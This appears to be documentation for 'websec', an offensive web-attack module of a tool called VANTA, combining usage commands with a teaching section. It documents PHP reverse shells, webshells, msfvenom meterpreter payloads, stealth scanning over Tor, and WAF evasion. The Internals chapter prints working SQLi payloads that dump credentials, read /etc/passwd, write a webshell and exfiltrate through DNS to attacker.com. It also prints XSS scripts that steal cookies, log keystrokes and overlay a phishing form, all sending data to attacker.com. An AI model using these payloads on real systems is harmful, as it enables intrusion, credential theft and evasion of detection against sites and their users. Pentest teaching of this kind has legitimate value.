- ▸ A web application URL you own or have permission to test
- ▸
python3-requestsandpython3-bs4installed - ▸ Burp Suite (optional) for proxy integration
set target http://testphp.vulnweb.com set operation scan run
- • Easy: scan, header_check, robots_enum
- • Medium: sqli_test, xss_probe, auth_bypass
- • Advanced: full_audit, cms_exploit, api_fuzz
Overview
What websec does
websec is the single web offensive tool in VANTA. It covers the full attack chain from passive OSINT to active exploitation: DNS/WHOIS/SSL reconnaissance, security posture auditing, injection testing, access control bypass, WordPress attack surface enumeration, and framework CVE probing. Built-in stealth layer keeps your traffic indistinguishable from a real browser. No educational commentary — just results.
Works with Python stdlib only for recon. Add requests for full injection and active testing capabilities. beautifulsoup4 enables HTML-aware spidering and form detection.
Quick Start
Running websec
# Passive recon — no active probing
vanta ❯ use websec
VANTA (websec) ❯ set operation recon
VANTA (websec) ❯ run https://example.com
# SQLi: error-based + time-blind
VANTA (websec) ❯ set operation sqli
VANTA (websec) ❯ set test_url https://example.com/search?q=test
VANTA (websec) ❯ run https://example.com
# 403 bypass on admin path
VANTA (websec) ❯ set operation bypass_403
VANTA (websec) ❯ set bypass_path /admin
VANTA (websec) ❯ run https://example.com
# Full scan with injection testing
VANTA (websec) ❯ set operation full
VANTA (websec) ❯ set test_url https://example.com/search?q=test
VANTA (websec) ❯ run https://example.com
# Stealth scan through Tor with WAF evasion
VANTA (websec) ❯ set stealth true
VANTA (websec) ❯ set proxy socks5://127.0.0.1:9050
VANTA (websec) ❯ set delay 0.5
VANTA (websec) ❯ set jitter 1.5
VANTA (websec) ❯ set waf_evasion true
VANTA (websec) ❯ set operation sqli
VANTA (websec) ❯ set test_url https://example.com/search?q=test
VANTA (websec) ❯ run https://example.com
Reference
Operations
Set via set operation <name>. Default is recon.
.env, .git, admin panels, backups, debug routes. Accepts custom wordlist via wordlist_file._token, csrfmiddlewaretoken, authenticity_token, __RequestVerificationToken, and csrf-token meta tags.X-Forwarded-For: 127.0.0.1, X-Custom-IP-Authorization, Referer) and path manipulation (/%2f, /./, /..;/, URL encoding).url, redirect, next, return, goto, 12+ more) for unvalidated external redirects using //evil.com and protocol-relative payloads.multipart/form-data forms and probing common upload paths (/upload, /api/upload, /attachments, etc.).max_pages (default 50). Collects internal URLs, form actions, JS file references, and external links. Stays within the same domain.php_type to reverse, webshell, cmd, obfuscated, or all. Output written to ~/ZX01C/websec/<target>/php_payloads/.handler.rc for msfconsole. Shows the exact command to launch the listener after generation.fuzz_engine..req file, Burp scope JSON, and an intruder payload list. Paste the captured request via raw_request before running.test_url for injection checks.Reference
Parameters
| Parameter | Type | Default | Description |
|---|---|---|---|
operation |
string | recon | Operation to run. See Operations section above. |
test_url |
string | — | URL with query parameters for SQLi and XSS testing. E.g. https://example.com/search?q=test. Required for sqli and xss. |
bypass_path |
string | /admin | Path to test for 403 bypass. Used with bypass_403 operation. |
cookies |
string | — | Session cookies for authenticated scanning. Format: key=value; key2=value2. |
headers_str |
string | — | Custom request headers. Format: Header-Name: value; Header2: value. |
user_agent |
string | Mozilla/5.0… | User-Agent for all requests. Override to test WAF bypass or mimic a specific browser. |
threads |
integer | 10 | Concurrent threads for directory discovery. Range 1-50. |
timeout |
number | 10.0 | HTTP request timeout in seconds. |
max_pages |
integer | 50 | Maximum pages to crawl in the spider operation. |
wordlist_file |
string | — | Path to a custom wordlist for directory discovery. One path per line. Falls back to built-in list if not set. |
verbose |
boolean | false | Verbose output — shows all requests including negative results. |
| Stealth & Anonymization | |||
stealth |
boolean | false | Enable stealth mode. Activates UA rotation and adds full browser header set (Accept, Accept-Language, Sec-Fetch-*, DNT, Cache-Control, Pragma) on every request. Strips scanner-identifying headers. |
rotate_ua |
boolean | false | Rotate User-Agent on every request from a pool of 20+ real Chrome, Firefox, Safari, Edge, and Opera strings. Enabled automatically when stealth true. |
delay |
number | 0 | Fixed delay in seconds inserted before each request. Use with jitter to randomize timing and avoid rate-based bot detection. |
jitter |
number | 0 | Adds a random 0–N second offset to each delay. E.g. delay 0.5 + jitter 1.5 means each request waits 0.5–2.0 s. |
proxy |
string | — | Route all traffic through a proxy. Accepts HTTP (http://host:port), HTTPS, and SOCKS5 (socks5://host:port) formats. Use socks5://127.0.0.1:9050 for Tor or http://127.0.0.1:8080 for Burp. |
waf_evasion |
boolean | false | Append WAF-evasion payload variants to SQLi and XSS tests: comment injection (/*!UNION*/), case mixing, URL/double encoding, HTML entity encoding, null-byte tricks, and obfuscated event handlers. |
Reference
Installation Tiers
Core recon operations work with Python stdlib only. Add requests for active testing. Add beautifulsoup4 for HTML-aware spidering.
pip3 install requestspip3 install beautifulsoup4# Full install
pip3 install requests beautifulsoup4 dnspython
Reference
Stealth & Anonymization
websec has a built-in stealth layer that makes every request indistinguishable from a real browser session. Combine all controls for maximum coverage against WAF/IDS fingerprinting.
How it works
UA rotation — every request picks a different User-Agent from a pool of 20 real browser strings (Chrome, Firefox, Safari, Edge, Opera, mobile). Server logs show mixed browser traffic rather than a single repeated scanner string.
Browser headers — stealth mode adds the full set of headers a real browser sends: Accept, Accept-Language, Accept-Encoding, DNT, Upgrade-Insecure-Requests, Sec-Fetch-Dest/Mode/Site/User, Cache-Control, Pragma. Requests without these are trivially identified as automated.
Timing — fixed delay plus random jitter makes inter-request timing look human. Without jitter, even a 1 s delay is detectable as automated by its regularity.
Proxy routing — all requests go through the configured proxy. Use Tor (socks5://127.0.0.1:9050) to hide your real IP from server logs, or Burp (http://127.0.0.1:8080) to intercept and replay traffic manually.
WAF evasion payloads — when waf_evasion true, SQLi and XSS tests run a second pass with obfuscated variants: MySQL comment injection (/*!UNION*/), case mixing, percent/double encoding, HTML entity encoding, and obfuscated event handlers. WAFs pattern-match on known payload strings — these variants bypass signature-only rulesets.
Check your posture
VANTA (websec) ❯ set operation stealth
VANTA (websec) ❯ run https://target.com
Prints the exact headers being sent, current UA, delay/jitter values, and tests proxy reachability. Flags any missing controls.
Full stealth profile
VANTA (websec) ❯ set stealth true
VANTA (websec) ❯ set proxy socks5://127.0.0.1:9050
VANTA (websec) ❯ set delay 0.5
VANTA (websec) ❯ set jitter 1.5
VANTA (websec) ❯ set waf_evasion true
VANTA (websec) ❯ set operation full
VANTA (websec) ❯ set test_url https://target.com/search?q=test
VANTA (websec) ❯ run https://target.com
Operation
php_payload
Generates PHP payloads for upload or injection scenarios. Choose a type with php_type, point lhost at your listener, and run. Files land in ~/ZX01C/websec/<target>/php_payloads/.
| php_type | Description |
|---|---|
reverse | Full reverse shell in Pentest Monkey style. Connects back to lhost:lport on execution. |
webshell | Accepts commands via a POST cmd parameter. Minimal footprint, no callback required. |
cmd | Accepts commands via a GET ?cmd= parameter. One-liner, useful for quick RCE checks. |
obfuscated | Layered obfuscation using base64, chr(), and hex encoding to bypass simple content filters. |
all | Writes all four types to separate files in the output directory. |
Parameters
| Parameter | Default | Description |
|---|---|---|
php_type | reverse | Payload type: reverse, webshell, cmd, obfuscated, all. |
lhost | — | Listener IP for the reverse shell callback. Required for reverse and all. |
lport | 4444 | Listener port. |
php_obfuscate | false | Apply an additional obfuscation pass on top of the selected type. |
Example
# Write all PHP payload types to disk
VANTA (websec) ❯ set operation php_payload
VANTA (websec) ❯ set php_type all
VANTA (websec) ❯ set lhost 10.10.14.1
VANTA (websec) ❯ set lport 4444
VANTA (websec) ❯ run https://example.com
# Obfuscated webshell only
VANTA (websec) ❯ set operation php_payload
VANTA (websec) ❯ set php_type webshell
VANTA (websec) ❯ set php_obfuscate true
VANTA (websec) ❯ run https://example.com
Operation
msf_payload
Runs msfvenom to generate web-focused payloads and writes a ready-to-use handler.rc resource script alongside them. After generation, the module prints the exact msfconsole command to start the handler.
Parameters
| Parameter | Default | Description |
|---|---|---|
payload_type | php/meterpreter/reverse_tcp | Any msfvenom payload string. Common choices: php/meterpreter/reverse_tcp, java/meterpreter/reverse_tcp, windows/meterpreter/reverse_tcp. |
format | raw | Output format: raw, war, jsp, aspx. |
lhost | — | Listener IP. Required. |
lport | 4444 | Listener port. |
Example
# WAR payload for Tomcat deployment
VANTA (websec) ❯ set operation msf_payload
VANTA (websec) ❯ set format war
VANTA (websec) ❯ set lhost 10.10.14.1
VANTA (websec) ❯ set lport 4444
VANTA (websec) ❯ run https://example.com
# ASPX payload for IIS targets
VANTA (websec) ❯ set operation msf_payload
VANTA (websec) ❯ set payload_type windows/meterpreter/reverse_tcp
VANTA (websec) ❯ set format aspx
VANTA (websec) ❯ set lhost 10.10.14.1
VANTA (websec) ❯ run https://example.com
Output includes the generated payload file and a handler.rc you can pass directly to msfconsole:
msfconsole -r ~/ZX01C/websec/<target>/handler.rc
Operation
fuzz
Directory and path fuzzing using external tools. Checks for ffuf, gobuster, and dirbuster in that order and uses the first one found. Output streams live to the terminal. Results are also written to ~/ZX01C/websec/<target>/fuzz/.
Parameters
| Parameter | Default | Description |
|---|---|---|
wordlist | built-in | Path to a custom wordlist file. One entry per line. If not set, the module uses its built-in path list. |
threads | 40 | Concurrent request threads passed to the fuzzing engine. |
extensions | — | Comma-separated file extensions to append to each word, e.g. php,html,txt. |
fuzz_engine | auto | Force a specific tool: ffuf, gobuster, or dirbuster. Skips auto-detection. |
Example
# Auto-detect engine, fuzz for PHP and text files
VANTA (websec) ❯ set operation fuzz
VANTA (websec) ❯ set extensions php,txt
VANTA (websec) ❯ run https://example.com
# Force ffuf with SecLists wordlist and 80 threads
VANTA (websec) ❯ set operation fuzz
VANTA (websec) ❯ set fuzz_engine ffuf
VANTA (websec) ❯ set wordlist /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
VANTA (websec) ❯ set threads 80
VANTA (websec) ❯ set extensions php,html,bak
VANTA (websec) ❯ run https://example.com
$PATH. ffuf is recommended - fastest and most flexible of the three.
Operation
burp_export
Takes a raw HTTP request and produces three files: a .req file with the raw request, a Burp Suite scope JSON, and an intruder payload list extracted from the request parameters. Saves to ~/ZX01C/websec/<target>/burp_export/.
Parameters
| Parameter | Default | Description |
|---|---|---|
raw_request | — | The full raw HTTP request text, including method line, headers, and body. Paste from a proxy intercept or manual capture. Required. |
Outputs
Example
# Set the raw request and run against the target
VANTA (websec) ❯ set operation burp_export
VANTA (websec) ❯ set raw_request POST /login HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
username=admin&password=hunter2
VANTA (websec) ❯ run https://example.com
# Output
# ~/ZX01C/websec/example.com/burp_export/request.req
# ~/ZX01C/websec/example.com/burp_export/scope.json
# ~/ZX01C/websec/example.com/burp_export/intruder_payloads.txt
Examples
Usage Examples
Passive OSINT recon
VANTA (websec) ❯ set operation recon
VANTA (websec) ❯ run https://target.com
Error-based + time-blind SQLi
VANTA (websec) ❯ set operation sqli
VANTA (websec) ❯ set test_url https://target.com/search?q=test&id=1
VANTA (websec) ❯ run https://target.com
403 bypass on /admin
VANTA (websec) ❯ set operation bypass_403
VANTA (websec) ❯ set bypass_path /admin
VANTA (websec) ❯ run https://target.com
Framework CVE probe (Jira/AEM/Confluence)
VANTA (websec) ❯ set operation framework_cves
VANTA (websec) ❯ run https://jira.target.com
Authenticated CSRF + XSS scan
VANTA (websec) ❯ set operation csrf
VANTA (websec) ❯ set cookies PHPSESSID=abc123; auth=xyz
VANTA (websec) ❯ run https://target.com/dashboard
Directory brute-force with SecLists
VANTA (websec) ❯ set operation dirs
VANTA (websec) ❯ set threads 20
VANTA (websec) ❯ set wordlist_file /usr/share/seclists/Discovery/Web-Content/common.txt
VANTA (websec) ❯ run https://target.com
WordPress attack surface
VANTA (websec) ❯ set operation wordpress
VANTA (websec) ❯ run https://target.com
Stealth SQLi through Tor with WAF evasion
VANTA (websec) ❯ set stealth true
VANTA (websec) ❯ set proxy socks5://127.0.0.1:9050
VANTA (websec) ❯ set delay 0.5
VANTA (websec) ❯ set jitter 1.5
VANTA (websec) ❯ set waf_evasion true
VANTA (websec) ❯ set operation sqli
VANTA (websec) ❯ set test_url https://target.com/search?q=test
VANTA (websec) ❯ run https://target.com
Authenticated scan with session cookie
VANTA (websec) ❯ set stealth true
VANTA (websec) ❯ set cookies PHPSESSID=abc123; auth_token=xyz
VANTA (websec) ❯ set operation full
VANTA (websec) ❯ set test_url https://target.com/dashboard?id=1
VANTA (websec) ❯ run https://target.com
Full assessment
VANTA (websec) ❯ set operation full
VANTA (websec) ❯ set test_url https://target.com/search?q=test
VANTA (websec) ❯ run https://target.com
Notes
Notes
SQLi uses safe detection payloads — error messages and timing responses only. Time-based blind sends a 3-second sleep payload; expect ~3 s additional latency per parameter per DB type. No data is modified or extracted.
The bypass_403 operation only fires if the target path actually returns 403. Header bypass results (200) are definitive findings. Path manipulation results (200) may require manual confirmation to rule out redirects.
The dork operation generates query strings for manual use in Google — it does not interact with Google's servers. Paste the output directly into search.
framework_cves uses strict framework detection from HTTP response headers (X-Seraph-LoginReason, X-AUSERNAME for Jira) to avoid false positives on unrelated sites.
Stealth + delay: delay and jitter add sleep time before every request — including multi-threaded directory brute-force. Reduce threads when using delay to avoid the delay being applied concurrently rather than sequentially.
SOCKS5 proxy (Tor) requires requests[socks]: pip3 install requests[socks]. HTTP proxies work with the standard requests install.
waf_evasion roughly doubles the number of SQLi and XSS payloads tested. Expect proportionally longer runtime.
Internals
Architecture Deep Dive
This chapter explains HTTP at the byte level, how SQL injection payloads work inside the database's query parser, how XSS escaping (and unescaping) works, and how to add your own attack modules to websec.
Internals
HTTP Request — Byte Anatomy
HTTP/1.1 is a plain-text protocol. Every byte you send is visible on the wire (before TLS). Understanding the exact byte format lets you craft custom headers, bypass WAFs, and understand what websec is sending during its vulnerability scans.
## HTTP/1.1 Request — exact bytes on the wire
POST /login HTTP/1.1\r\n
Host: target.com\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 27\r\n
Cookie: session=abc123def456\r\n
User-Agent: Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36\r\n
\r\n
username=admin&password=test
## Byte breakdown:
50 4F 53 54 = "POST"
20 = space
2F 6C 6F 67 69 6E = "/login"
20 = space
48 54 54 50 2F 31 2E 31 = "HTTP/1.1"
0D 0A = \r\n (CRLF — mandatory line ending in HTTP)
## Headers end with double CRLF:
... last-header-value 0D 0A 0D 0A body-starts-here
## The \r\n vs \n distinction matters for some WAFs:
## Some WAF bypass techniques inject \n-only headers to confuse parsers
HTTP Response Anatomy
## HTTP/1.1 Response
HTTP/1.1 200 OK\r\n
Server: nginx/1.24.0\r\n
Content-Type: text/html; charset=UTF-8\r\n
Content-Length: 1234\r\n
Set-Cookie: session=xyz789; HttpOnly; Secure; SameSite=Strict\r\n
X-Frame-Options: DENY\r\n
X-Content-Type-Options: nosniff\r\n
Content-Security-Policy: default-src 'self'\r\n
\r\n
<html>...
## websec parses headers for security analysis:
## Missing X-Frame-Options → finding: clickjacking possible
## Missing CSP → finding: XSS impact amplified (no restriction on script src)
## Missing HSTS → finding: SSL stripping possible on first visit
## Server header leaks version → finding: known CVE lookup possible
URL Encoding — How Characters Become %XX
## URL encoding (percent-encoding) converts unsafe bytes to %HH
' (apostrophe, ASCII 0x27) → %27
" (double quote, 0x22) → %22
< (less-than, 0x3C) → %3C
> (greater-than, 0x3E) → %3E
(space, 0x20) → %20 or +
= (equals, 0x3D) → %3D
& (ampersand, 0x26) → %26
## Why this matters for SQLi: some WAFs block ' but not %27
## Double-encode trick: %27 → %2527 (server decodes %25 → %, giving %27 → ')
## websec's waf_evasion mode tries both encoded and double-encoded variants
Internals
SQL Injection — From Zero to Exploitation
If you've never touched a database before, start here. This section builds from "what is SQL" all the way to extracting data from a compromised database using VANTA.
What is SQL?
SQL (Structured Query Language) is the language used to talk to databases. Databases are just organized spreadsheets — tables full of rows and columns. SQL is how you ask questions like "give me all users whose username is admin" or "insert a new row".
## Example: a "users" table in a database
id | username | password (hashed) | email
───┼──────────┼──────────────────────┼───────────────
1 | admin | $2b$10$xyz... | admin@site.com
2 | alice | $2b$10$abc... | alice@site.com
3 | bob | $2b$10$def... | bob@site.com
## SQL query to log in a user:
SELECT * FROM users WHERE username='admin' AND password='hashed_pw_here'
## Translation: "Find all rows in the users table where
## the username column equals 'admin'
## AND the password column equals 'hashed_pw_here'"
## If the query returns 1 or more rows → user exists → login succeeds
## If the query returns 0 rows → login fails
Why Websites Break — String Concatenation
Web applications build SQL queries by combining a template string with user-supplied input. This is the root cause of SQL injection:
## A vulnerable login form (PHP/Python — same idea in any language)
## User types into the login form:
Username: admin
Password: mypassword
## The PHP code builds the query like this:
$username = $_POST["username"]; # = "admin" (from the form)
$password = hash($_POST["password"]);
$sql = "SELECT * FROM users WHERE username='" + $username + "' AND password='" + $password + "'";
## Result — safe input, safe query:
SELECT * FROM users WHERE username='admin' AND password='5f4dcc...'
## Now what if the user types this in the username field?
Username: admin'--
Password: (anything)
## The query becomes:
SELECT * FROM users WHERE username='admin'--' AND password='...'
# ^^ comment! SQL ignores everything after --
## The database sees:
SELECT * FROM users WHERE username='admin'
## No password check! The attacker just logged in as admin without knowing the password.
What Just Happened — The SQL Comment Trick
The single quote ' inside the username closed the string that the
developer opened with username='. The two dashes -- are a SQL
comment — everything after them on that line is ignored by the database. The developer's
password check was commented out.
This is SQL injection: user input that changes the structure of the SQL query. The developer intended the apostrophes to be data. The attacker's input turned them into SQL syntax.
Building an Attack Surface — Types of SQLi
## Type 1: Error-Based SQLi (most obvious — database errors visible)
## Payload: force the database to produce an error that leaks data
' AND 1=CONVERT(int, (SELECT TOP 1 table_name FROM information_schema.tables))--
## MSSQL converts the table name (a string) to int → fails → error message shows the string:
## "Conversion failed when converting the varchar value 'users' to data type int."
## You just learned a table is called 'users' from an error message.
## Type 2: UNION-Based SQLi (most powerful — returns data in response)
## Payload: append a second SELECT that returns data you choose
' UNION SELECT username, password, 3, 4 FROM users--
## The UNION rule: both SELECT statements must return the SAME number of columns
## First, find column count with: ' UNION SELECT NULL,NULL,NULL-- (add NULLs until no error)
## Then replace NULLs with real column names to extract data
## Type 3: Boolean-Based Blind SQLi (no data returned — infer from true/false responses)
' AND 1=1-- # true condition → page loads normally
' AND 1=2-- # false condition → page behaves differently (error, empty, redirect)
## Use the difference to ask yes/no questions about data:
' AND SUBSTRING(username,1,1)='a'-- # does admin's username start with 'a'?
## Type 4: Time-Based Blind SQLi (no visual difference — use response delay)
' AND IF(1=1, SLEEP(3), 0)-- # always sleeps 3 seconds (confirm injection)
' AND IF(SUBSTRING(username,1,1)='a', SLEEP(3), 0)-- # sleeps if first char is 'a'
## Extract data one character at a time using timing
## Type 5: Out-of-Band SQLi (exfiltrate via DNS or HTTP — bypasses monitoring)
'; EXEC master..xp_cmdshell 'nslookup $(SELECT TOP 1 username FROM users).attacker.com'--
## Database makes DNS query: admin.attacker.com → attacker sees it in DNS logs
## Requires xp_cmdshell enabled on MSSQL (rare, but happens on old systems)
How websec Detects SQLi
## websec's detection logic (simplified)
## Step 1: find injection points — any user input that goes to server
injection_points = []
for param in request.GET | request.POST | request.COOKIES:
injection_points.append(param)
## Also: HTTP headers (User-Agent, Referer, X-Forwarded-For are often injectable)
## Step 2: test each injection point with error-triggering payloads
ERROR_PAYLOADS = ["'", "''", "`", "1'1", "1\"1"]
for payload in ERROR_PAYLOADS:
response = session.get(url, params={param: payload})
## Check for database error signatures in response:
ERROR_SIGS = ["SQL syntax", "ORA-", "mysql_fetch", "SQLSTATE",
"Unclosed quotation mark", "syntax error"]
if any(sig in response.text for sig in ERROR_SIGS):
findings.append({"type": "sqli_error", "param": param, "evidence": ...})
## Step 3: confirm with boolean test
resp_true = session.get(url, params={param: "1 AND 1=1--"})
resp_false = session.get(url, params={param: "1 AND 1=2--"})
if len(resp_true.text) != len(resp_false.text):
findings.append({"type": "sqli_boolean", "param": param})
## Step 4: confirm with timing test
import time
start = time.time()
session.get(url, params={param: "1 AND SLEEP(3)--"})
elapsed = time.time() - start
if elapsed > 2.5:
findings.append({"type": "sqli_time", "param": param})
SQLi Attack Surface — What Can You Access?
## Once you have SQLi, here's what you can enumerate (MySQL example)
## 1. List all databases:
' UNION SELECT schema_name,2,3 FROM information_schema.schemata--
## 2. List tables in current database:
' UNION SELECT table_name,2,3 FROM information_schema.tables WHERE table_schema=database()--
## 3. List columns in users table:
' UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_name='users'--
## 4. Extract all usernames and passwords:
' UNION SELECT username,password,3 FROM users--
## 5. Read files from disk (requires FILE privilege):
' UNION SELECT LOAD_FILE('/etc/passwd'),2,3--
## 6. Write a webshell to disk (requires write permission + outfile perm):
' UNION SELECT "<?php system($_GET['cmd']); ?>",2,3 INTO OUTFILE '/var/www/html/shell.php'--
## If this works: visit http://target.com/shell.php?cmd=id → RCE
## How VANTA uses this: set operation sqli; websec auto-runs steps 1-4
## and formats output into structured findings for the GUI
SQL Injection — Inside the Database Parser
SQL injection works because web applications concatenate user input directly into SQL query strings. The database server then parses the combined string as valid SQL. Understanding how each database's SQL parser interprets the injected bytes is the key to reliable exploitation.
How a Vulnerable Query is Parsed
## Vulnerable PHP code:
$sql = "SELECT * FROM users WHERE username='" . $_GET['user'] . "' AND active=1";
## Normal input: user=admin
SELECT * FROM users WHERE username='admin' AND active=1
## Injection: user=admin'--
SELECT * FROM users WHERE username='admin'--' AND active=1
# ↑ closes the string literal
# ↑↑ SQL comment — everything after ignored
## Result: queries users table where username='admin' — ignores password/active check
## UNION injection: user=x' UNION SELECT username,password,3 FROM users--
SELECT * FROM users WHERE username='x'
UNION
SELECT username,password,3 FROM users--' AND active=1
## Result: returns all usernames+passwords from users table alongside the normal query
Database-Specific Comment Syntax
| Database | Line comment | Block comment | Stacked queries? |
|---|---|---|---|
| MySQL / MariaDB | -- (note trailing space) or # | /* ... */ | Only via multi-statement if allowed |
| PostgreSQL | -- | /* ... */ | Yes (;) |
| SQLite | -- | /* ... */ | Yes (;) |
| MSSQL | -- | /* ... */ | Yes (;) |
| Oracle | -- | /* ... */ | No (use PL/SQL blocks) |
Time-Based Blind SQLi — Byte Level
## Blind SQLi: no data returned in response — use timing to extract data bit by bit
## MySQL time-based payload:
user=admin' AND IF(SUBSTRING(password,1,1)='a', SLEEP(3), 0)--
## What the database executes:
SELECT * FROM users WHERE username='admin'
AND IF(SUBSTRING(password,1,1)='a', SLEEP(3), 0)--'
## If first char of password is 'a': database waits 3 seconds → response delayed
## If not: immediate response
## websec measures response time: >2.5 seconds = true condition
## Extract full value: binary search by ASCII code
## Round 1: IF(ASCII(SUBSTR(pw,1,1))>127, SLEEP(3), 0) → fast → ≤127
## Round 2: IF(ASCII(SUBSTR(pw,1,1))>64, SLEEP(3), 0) → slow → >64 (so 65-127)
## Round 3: IF(ASCII(SUBSTR(pw,1,1))>96, SLEEP(3), 0) → slow → >96 (97-127)
## ... 7 rounds per character = O(log2(256)) = 8 requests per byte
## websec's auto-extract: ~8 requests × 32 chars = ~256 requests for a 32-char hash
websec's Internal Payload Generation
# websec generates payloads from a structured template + waf_evasion mutations
BASE_SQLI_PAYLOADS = [
"'", # syntax error test
"''", # double quote test
"1 OR 1=1--", # boolean bypass
"1' OR '1'='1", # alternate quoting
"1 AND SLEEP(3)--", # time-based detection
"1; DROP TABLE users--", # stacked query (mssql/pgsql)
"1 UNION SELECT NULL--", # UNION detection
]
WAF_MUTATIONS = {
"case": lambda p: p.upper(),
"comments": lambda p: p.replace(" ", "/**/"),
"encode": lambda p: quote(p),
"double_encode": lambda p: quote(quote(p)),
"concat": lambda p: p.replace("'", "CHAR(39)"),
}
def generate_payloads(base: list, waf_evasion: bool) -> list:
payloads = list(base)
if waf_evasion:
for p in base:
for name, mutate in WAF_MUTATIONS.items():
payloads.append(mutate(p))
return payloads
Internals
Cross-Site Scripting (XSS) — From Zero to Attack
Start here if you've never seen an XSS attack before. We'll go from "what is HTML" to stealing session cookies in a browser.
What is HTML and Why Can It Be Dangerous?
HTML (HyperText Markup Language) is the language browsers render into web pages. When a
browser loads a page it processes HTML tags as instructions: <b> makes
text bold, <img src="..."> loads an image, <script>
runs JavaScript code. The problem: browsers can't tell the difference between HTML/JS that
the developer intentionally wrote and HTML/JS that an attacker smuggled in via user input.
## Normal page — developer writes a greeting message:
<p>Welcome back, John!</p>
## Vulnerable page — developer puts username from URL directly into HTML:
<p>Welcome back, {username_from_url}!</p>
## Attacker's URL:
https://site.com/profile?name=<script>alert('XSS')</script>
## Page rendered by browser:
<p>Welcome back, <script>alert('XSS')</script>!</p>
## ↑ browser sees this as a script tag and RUNS IT
## Result: alert box pops up — attacker controls JavaScript execution on the page
Why XSS Matters — What JavaScript Can Do
JavaScript running in a browser has almost full access to that page's context:
## Cookie theft — the most common XSS payload
<script>
new Image().src = "https://attacker.com/steal?c=" + document.cookie;
</script>
## Victim's browser makes a GET request to attacker.com with the victim's cookies
## Attacker sees in their server log: /steal?c=session=abc123def456
## Attacker sets that cookie in their browser → they ARE the victim on the site
## Keylogger — capture everything the victim types
<script>
document.addEventListener('keydown', function(e) {
new Image().src = "https://attacker.com/keys?k=" + e.key;
});
</script>
## Fake login form overlay — credential phishing
<script>
document.body.innerHTML = '<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:#fff">' +
'<form action="https://attacker.com/phish">' +
'<input name="user"><input type="password" name="pass"><button>Login</button>' +
'</form></div>';
</script>
## Victim thinks they're logging into the real site — credentials go to attacker
## Redirect to malware download
<script>window.location = "https://attacker.com/malware.exe";</script>
The Three Types of XSS
## Type 1: Reflected XSS — payload is in the URL, runs once
https://site.com/search?q=<script>steal_cookies()</script>
## The page "reflects" the search term back into HTML without escaping
## Attack: send this URL to victim via email/Slack/SMS
## When victim clicks: their browser runs the script in the context of site.com
## Type 2: Stored XSS (Persistent) — payload saved in database, runs for every visitor
## Attacker posts a comment on a blog:
Comment: <script>steal_cookies()</script>
## Database stores this literally. Every user who loads the page with this comment
## gets their cookies stolen. Most dangerous type — one post, infinite victims.
## Type 3: DOM-Based XSS — payload never hits the server, JS processes it client-side
https://site.com/page#<img src=x onerror=alert(1)>
## The # fragment is not sent to the server
## Vulnerable JS reads location.hash and inserts it into innerHTML:
document.getElementById('content').innerHTML = location.hash.substring(1);
## Browser processes the fragment — XSS fires entirely on the client
XSS — Encoding, Contexts, and Bypass
Cross-Site Scripting works when user input is reflected into an HTML page without proper escaping. The injection context (HTML body, attribute, JS, URL) determines which encoding bypass works.
## Context 1: HTML body injection
<p>Welcome, USERINPUT</p>
Payload: <script>alert(1)</script>
Result: <p>Welcome, <script>alert(1)</script></p> ← XSS fires
## Context 2: HTML attribute injection
<input value="USERINPUT">
Payload: " onmouseover="alert(1)
Result: <input value="" onmouseover="alert(1)"> ← event handler injected
## Context 3: JavaScript string injection
<script>var name = "USERINPUT";</script>
Payload: ";alert(1)//
Result: <script>var name = "";alert(1)//";</script> ← JS alert fires
## Context 4: URL parameter reflected into href
<a href="USERINPUT">click</a>
Payload: javascript:alert(1)
Result: <a href="javascript:alert(1)">click</a> ← fires on click
HTML Entity Bypass Techniques
## If < and > are entity-encoded (< >), try attribute context:
Payload: " autofocus onfocus="alert(1)
## < and > not needed — attribute injected without tags
## If quotes are blocked, try without:
<img src=x onerror=alert(1)>
## HTML5 allows unquoted attribute values — no quotes needed
## HTML entity encoding of the payload (to bypass input filters):
<script>alert(1)</script>
Decimal: <script>alert(1)</script>
Hex: <script>alert(1)</script>
## Browser decodes entities before rendering — may bypass input filter that blocks raw <>
## JavaScript unicode escape:
## Works inside JS string context: JS engine decodes \uXXXX before executing
Content Security Policy — What Stops XSS
## Strong CSP prevents XSS execution even if injection succeeds:
Content-Security-Policy: default-src 'self'; script-src 'nonce-ABC123'; object-src 'none'
## 'nonce-ABC123': only <script nonce="ABC123"> tags execute
## Injected <script> without nonce = blocked by browser
## websec reports missing/weak CSP as a HIGH finding:
missing: no CSP header at all
unsafe-inline: script-src 'unsafe-inline' → any inline script runs (XSS possible)
unsafe-eval: script-src 'unsafe-eval' → eval() / Function() work → XSS amplified
wildcard: script-src * → any external source allowed
Extend
Customization & Extension
Adding a Custom Vulnerability Scanner
# websec.py — add to SCANNERS dict
def scan_graphql_introspection(url: str, session: requests.Session, params: dict) -> list:
"""Detect exposed GraphQL introspection (leaks full API schema)."""
findings = []
gql_endpoints = ["/graphql", "/api/graphql", "/gql", "/v1/graphql"]
introspection_query = '''
{"query": "{__schema{types{name}}}"}
'''
for ep in gql_endpoints:
target = url.rstrip("/") + ep
try:
r = session.post(target, json={"query": "{__schema{types{name}}}"},
timeout=params.get("timeout", 10))
if r.status_code == 200 and "__schema" in r.text:
findings.append({
"type": "graphql_introspection",
"url": target,
"severity": "MEDIUM",
"description": "GraphQL introspection enabled — full API schema exposed",
"evidence": r.text[:200],
})
except Exception:
continue
return findings
SCANNERS = {
"sqli": scan_sqli, # existing
"xss": scan_xss, # existing
"graphql": scan_graphql_introspection, # yours
}
# Usage: set operation scan; set check_graphql true; run <url>
Adding a Custom WAF Bypass Header Set
# Headers that some WAFs pass to the backend without inspection
BYPASS_HEADERS = {
"X-Forwarded-For": "127.0.0.1",
"X-Real-IP": "127.0.0.1",
"X-Originating-IP": "127.0.0.1",
"X-Remote-IP": "127.0.0.1",
"X-Remote-Addr": "127.0.0.1",
"X-Custom-IP-Authorization": "127.0.0.1",
"X-Forwarded-Host": "localhost",
"X-Host": "localhost",
"X-ProxyUser-IP": "127.0.0.1",
# Some WAFs allow requests that appear to come from the server's own IP
}
# Inject into websec session:
session = requests.Session()
session.headers.update(BYPASS_HEADERS)
# Now all requests carry these headers — useful for testing 403 bypass
Study
Learning Path & Resources
Use these resources to go deeper on every concept websec touches. The path below is ordered — start at the top if you're new, skip ahead if you already have the foundation.
Step 1: Understand the Web (Foundations)
| Resource | Type | Why |
|---|---|---|
